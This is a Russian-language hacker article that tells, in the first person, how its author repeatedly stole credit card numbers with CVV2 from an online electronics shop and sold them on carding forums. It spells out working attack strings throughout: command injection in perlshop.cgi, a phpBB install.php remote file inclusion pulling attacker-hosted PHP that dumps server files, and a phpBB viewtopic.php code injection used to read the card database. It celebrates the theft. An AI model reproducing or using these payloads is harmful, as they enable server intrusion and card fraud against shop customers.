Полезные статьи для хакера и не только

 

В глубоком моем детстве, когда еще кучка уродов не развалила СССР, услышал я фразу "Битва за урожай". И сейчас, когда я пишу данную статью, понял я, что именно это фраза и станет ее заглавием.

Ты наверное знаешь, что заработок хакера, дело эпизодическое и непостоянное, в то же время деньги на еду, пиво и другие радости нужны всегда. Большинство клиентов, обращающихся ко мне просит взломать сразу paypal.com или ebay.com, предполагая, наверное, что как минимум божественное происхождение хакеров и мое в частности.
Постоянно же иметь свои кровные хакер может только в случае если получит постоянный доступ к торговым тележкам нескольких средних магазинов, ежедневно снимая урожай с них и обменивая его на вечнозеленые единицы на одном из кардерских форумов, например таких, как Carder-World.ru. Сегодня усилиями ФСБ закрыты практически все кардерские форумы, в том числе и
Carder-World.ru , лучше б вахабитов и боевиков ловили, "герои плаща и кинжала".

И я хочу рассказать историю про долгое состязание с админом одного такого шопа, торгующего электроникой.
Эпизод первый.
Больше года назад обнаружил я уязвимость в скрипте perlshop.cgi version = 3.1
http://www.xakep.ru/post/21567/default.asp
суть бага заключалось в том, что можно было выполнять команды на сервере:
/perlshop.cgi?ACTION=enter&thispage=|ls;&ORDER_ID=!ORDERID!
просмотр исходника показывал что открытие файлов в директории catalog происходит без проверки на символы | ;

if (defined($input{'THISPAGE'})) { ### Send a catalog page back with the unique ID set
$prev_page = ""; $next_page= "";
if ($add_navigation eq 'yes') {
$catalog_page = "$catalog_directory/$input{'THISPAGE'}";
if (-e $catalog_page) {
open(TEMPLATE, $catalog_page) || &err_trap("cannot open template file: $catalog_page");
$temp = <TEMPLATE>;
if ($temp =~ /<(\!\-\-)?PSTAG\s+prevpage\s*=\s*\"?([^\"]+?)\"?\s+nextpage\s*=\s*\"?([^\"]+?)\"?\s*(\-\-)?>/i

Просмотрев все бажные шопы, мне удалось найти один, в котором админ не смотря на запрет, сохранял кредитные карты с cvv2. Зная, что база с кредами храниться по умолчанию в директории customers, я ежедневно забирал новый урожай таким нехитрым способом:
/perlshop.cgi?ACTION=ENTER&thispage=|cat%20customers/*;&ORDER_ID=!ORDERID!
К сожалению на сервере не было ни wget ни links, залить shell и закрепиться там я не мог.

Но счастье мое длилось недолго, спустя три месяца админ шопа почувствовал неладное, и однажды загрузив урл вместо кред я увидел "птицу Обломинго". Админ сменил тележку на version = 4.4.0. Найдя ее в инете и просмотрев исходники я понял, что с ней мне радости не будет, | резался:
open(TEMPLATE, $catalog_page) or
error_trap("cannot open template file $catalog_page : $!");

----------
удалено
----------
# Remove invalid characters from the THISPAGE parameter
$input{'THISPAGE'} =~ s/[|()<>;&]//g;
Правда в скрипте нет проверки на "null-byte poison". Но это как я понял, связано с тем что thispage в скрипте должен открывать файлы только из catalog - open(TEMPLATE, $catalog_page).

Эпизод второй.
Голод и холод заставляет людей думать интенсивнее. Поняв, что главный вход мне отрезан, я решил проверить запасной. Пробив ip сервера я увидел, что на нем числятся еще сто с лишним сайтов. Это уже давало шанс.

Началась тупая работа по просмотру сайтов. И вот на одном из них обнаружился PhpBB 2.0.1. Найдя описание бага я быстро сваял functions_selects.php подгружаемый бажным скриптом форума install.php:
<?php
$handle=opendir(' /');
echo "Directory handle: $handle\n";
echo "Files:\n";
while ($file = readdir($handle)) {
print "$file\n";
$f=fopen("/$file","r");
fpassthru($f);
}
closedir($handle);
?>
Залив его к себе на сайт durito.narod.ru в директорию includes и выполнив команду
/forum/install.php?m=http://durito.narod.ru/ я получил листинг корня. Изменяя путь и заливая измененные файлы на durito.narod.ru я добрался до заветной директории customers и ее богатств. Жизнь налаживалась.

Но ненадолго, через пять месяцев бажный форум исчез.

Эпизод третий.
Кушать хочется всегда. И я стал опять шерстить сайты сервера на наличие багов. И вновь удача PhpBB 2.0.8. А тут как раз обнаружена sql-инъекция в форумах до PhpBB 2.0.10. Разобравшись с описанием уязвимостью я вновь попадаю во внутрь сервера. Но здесь меня ждал первый облом, папка customers оказалось пустой. Второй облом не заставил себя ждать, просмотр файлов в юзерских директориях /home/имя_юзера/ тоже закрыли. Просматривать файлы можно было только в /public_html/. Тогда я решил глянуть исходники perlshop.cgi и понял почему не было кред. Админ перенес базу в /home/ имя_юзера/data/customers, к счастью я имел возможность просматривать содержимое в ней.

Открыв viewtopic.php?t=7&highlight=%2527.$poster=%60$cmd%60.%2527&cmd=cat%20/home/ имя_юзера/data/customers/*;
я очень удивился, в базе лежало всего 2 креды. Решив, что шоп разорился, я ушел спать.
Через несколько дней я вернулся, и так же увидел, что в тележке лежит несколько кред, но это были ДРУГИЕ КРЕДЫ! Я начал вести наблюдение за хранилищем и понял что около 7.30 утра админ удаляет все данные о транзакциях за сутки из папки customers, исключение делалось только в воскресение, так что это был единственный день в неделе когда я не вставал в 7 утра и не бежал к компу, что бы забрать урожай быстрее админа. Так мы с ним жили "душа в душу" еще полгода, я вставал на полчаса раньше его, а как гласит народная пословица: "кто рано встает - тому бог подает".

И вот вчера, какая-то сволочь, вместо PhpBB 2.0.8 поставила на своем сайте vBulletin Version 3.0.8. И опять розовая птица Обломинго махнула мне крылом. Но хакер - птица терпеливая и Main Kampf за урожай с админом еще не завершен.

З.Ы. Бой продожается, сегодня я нашел еще одну дырку у хостера, но о ней раскажу потом


Твой bug Durito.
_________________
EAT THE RICH!